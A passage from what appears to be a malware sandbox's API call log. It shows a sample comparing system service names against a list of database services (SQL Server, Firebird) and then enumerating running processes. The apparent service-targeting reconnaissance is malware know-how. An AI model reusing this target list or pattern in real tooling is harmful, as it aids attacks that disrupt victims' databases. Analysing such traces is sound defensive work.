(lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0206.316] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0206.316] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0206.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0206.316] lstrlenW (lpString="StateRepository") returned 15 [0206.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0206.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0206.316] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0206.316] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0206.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0206.316] lstrlenW (lpString="SysMain") returned 7 [0206.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0206.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0206.316] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0206.316] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0206.316] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4441488 | out: hHeap=0x790000) returned 1 [0206.316] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d8 [0206.774] Process32FirstW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.775] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0206.776] lstrlenW (lpString="System") returned 6 [0206.776] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0206.777] lstrlenW (lpString="smss.exe") returned 8 [0206.777] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0206.778] lstrlenW (lpString="csrss.exe") returned 9 [0206.778] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0206.779] lstrlenW (lpString="wininit.exe") returned 11 [0206.779] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0206.780] lstrlenW (lpString="csrss.exe") returned 9 [0206.780] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0206.781] lstrlenW (lpString="winlogon.exe") returned 12 [0206.781] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0206.782] lstrlenW (lpString="services.exe") returned 12 [0206.782] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0206.783] lstrlenW (lpString="lsass.exe") returned 9 [0206.783] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.784] lstrlenW (lpString="svchost.exe") returned 11 [0206.784] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0206.785] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0206.785] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0206.789] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0206.789] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.790] lstrlenW (lpString="svchost.exe") returned 11 [0206.790] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0206.791] lstrlenW (lpString="dwm.exe") returned 7 [0206.791] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.792] lstrlenW (lpString="svchost.exe") returned 11 [0206.792] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.793] lstrlenW (lpString="svchost.exe") returned 11 [0206.793] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.794] lstrlenW (lpString="svchost.exe") returned 11 [0206.794] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.795] lstrlenW (lpString="svchost.exe") returned 11 [0206.795] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.796] lstrlenW (lpString="svchost.exe") returned 11 [0206.796] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.797] lstrlenW (lpString="svchost.exe") returned 11 [0206.797] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.798] lstrlenW (lpString="svchost.exe") returned 11 [0206.798] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.799] lstrlenW (lpString="svchost.exe") returned 11 [0206.799] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.033] lstrlenW (lpString="svchost.exe") returned 11 [0207.033] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0207.034] lstrlenW (lpString="spoolsv.exe") returned 11 [0207.034] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.034] lstrlenW (lpString="svchost.exe") returned 11 [0207.035] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.035] lstrlenW (lpString="svchost.exe") returned 11 [0207.035] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0207.036] lstrlenW (lpString="audiodg.exe") returned 11 [0207.036] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0207.037] lstrlenW (lpString="sihost.exe") returned 10 [0207.037] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.037] lstrlenW (lpString="svchost.exe") returned 11 [0207.038] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0207.038] lstrlenW (lpString="taskhostw.exe") returned 13 [0207.038] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0207.039] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0207.039] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0207.040] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0207.040] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0207.040] lstrlenW (lpString="explorer.exe") returned 12 [0207.040] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0207.041] lstrlenW (lpString="Memory Compression") returned 18 [0207.041] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0207.042] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0207.042] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0207.505] lstrlenW (lpString="SearchUI.exe") returned 12 [0207.505] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0207.506] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0207.506] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0207.668] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0207.668] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0207.668] lstrlenW (lpString="entering.exe") returned 12 [0207.668] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0207.669] lstrlenW (lpString="literally.exe") returned 13 [0207.669] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0207.808] lstrlenW (lpString="prep.exe") returned 8 [0207.808] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0207.808] lstrlenW (lpString="homeless.exe") returned 12 [0207.808] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0207.809] lstrlenW (lpString="tips.exe") returned 8 [0207.809] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0207.810] lstrlenW (lpString="rhode_cow.exe") returned 13 [0207.810] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0207.811] lstrlenW (lpString="discount.exe") returned 12 [0207.811] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0207.811] lstrlenW (lpString="littleclosest.exe") returned 17 [0207.811] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0207.812] lstrlenW (lpString="compact.exe") returned 11 [0207.812] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0207.813] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0207.813] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0207.814] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0207.814] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0207.859] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0207.859] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0207.860] lstrlenW (lpString="vincentkills.exe") returned 16 [0207.860] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0207.861] lstrlenW (lpString="armstrong.exe") returned 13 [0207.861] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0207.872] lstrlenW (lpString="superb_guilty.exe") returned 17 [0207.872] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0207.873] lstrlenW (lpString="conditional employer.exe") returned 24 [0207.873] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0207.874] lstrlenW (lpString="middle shown.exe") returned 16 [0207.874] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0207.874] lstrlenW (lpString="forced_online.exe") returned 17 [0207.875] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0207.875] lstrlenW (lpString="knitting.exe") returned 12 [0207.875] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0207.876] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0207.876] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0207.877] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0207.877] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0207.878] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0207.878] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.878] lstrlenW (lpString="svchost.exe") returned 11 [0207.878] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0207.879] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0207.879] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0207.880] lstrlenW (lpString="conhost.exe") returned 11 [0207.880] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0207.881] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0207.881] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0207.882] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0207.882] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0207.882] lstrlenW (lpString="WMIADAP.exe") returned 11 [0207.882] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, 